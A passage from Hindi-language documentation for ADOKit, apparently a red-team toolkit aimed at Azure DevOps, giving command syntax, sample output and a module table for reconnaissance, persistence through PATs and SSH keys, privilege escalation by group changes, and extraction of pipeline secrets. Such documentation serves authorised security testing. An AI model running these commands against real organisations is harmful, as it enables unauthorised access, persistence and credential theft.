================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### संग्रह सेवा खाता हटाएं
#### उपयोग केस
> *किसी उपयोगकर्ता को प्रोजेक्ट संग्रह सेवा खाते समूह से हटाएं।*
#### सिंटैक्स
`removecollectionsvc` मॉड्यूल को `/user:` के साथ प्रदान करें, जो किसी दिए गए उपयोगकर्ता को `Project Collection Service Accounts` समूह से हटाने के लिए होता है। इसके अलावा, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस कार्रवाई को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
प्रोजेक्ट(प्रोजेक्ट्स) में उपयोग किए जा रहे किसी भी पाइपलाइन वेरिएबल को निकालें, जिसमें क्रेडेंशियल्स या अन्य उपयोगी जानकारी हो सकती है।
| हमला परिदृश्य | मॉड्यूल | विशेष अनुमतियाँ? | नोट्स |
|---|
| टोही | check | नहीं | |
| टोही | whoami | नहीं | |
| टोही | listorgs | नहीं | |
| टोही | listrepo | नहीं | |
| टोही | searchrepo | नहीं | |
| टोही | listproject | नहीं | |
| टोही | searchproject | नहीं | |
| टोही | searchcode | नहीं | |
| टोही | searchfile | नहीं | |
| टोही | listuser | नहीं | |
| टोही | searchuser | नहीं | |
| टोही | listteam | नहीं | |
| टोही | searchteam | नहीं | |
| टोही | getteammembers | नहीं | |
| टोही | listgroup | नहीं | |
| टोही | searchgroup | नहीं | |
| टोही | getgroupmembers | नहीं | |
| टोही | getpermissions | नहीं | |
| टोही | creds | नहीं | |
| टोही | getbuildlogs | हाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators | |
| टोही | listbuildlogs | हाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators | |
| टोही | searchbuildlogs | हाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators | |
| स्थायित्व | createpat | नहीं | |
| स्थायित्व | listpat | नहीं | |
| स्थायित्व | removepat | नहीं | |
| स्थायित्व | createsshkey | नहीं | |
| स्थायित्व | listsshkey | नहीं | |
| स्थायित्व | removesshkey | नहीं | |
| विशेषाधिकार वृद्धि | addprojectadmin | हाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | removeprojectadmin | हाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | addbuildadmin | हाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | removebuildadmin | हाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | addcollectionadmin | हाँ - Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | removecollectionadmin | हाँ - Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | addcollectionbuildadmin | हाँ - Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | removecollectionbuildadmin | हाँ - Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | addcollectionbuildsvc | हाँ - Project Collection Administrator, Project Colection Build Administrators या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | removecollectionbuildsvc | हाँ - Project Collection Administrator, Project Colection Build Administrators या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | addcollectionsvc | हाँ - Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | removecollectionsvc | हाँ - Project Collection Administrator या Project Collection Service Accounts | |
| विशेषाधिकार वृद्धि | getpipelinevars | हाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators | |
| विशेषाधिकार वृद्धि | getpipelinesecrets | हाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators | |
| विशेषाधिकार वृद्धि | getvariablegroups | हाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators | |
| विशेषाधिकार वृद्धि | getserviceconnections | हाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts |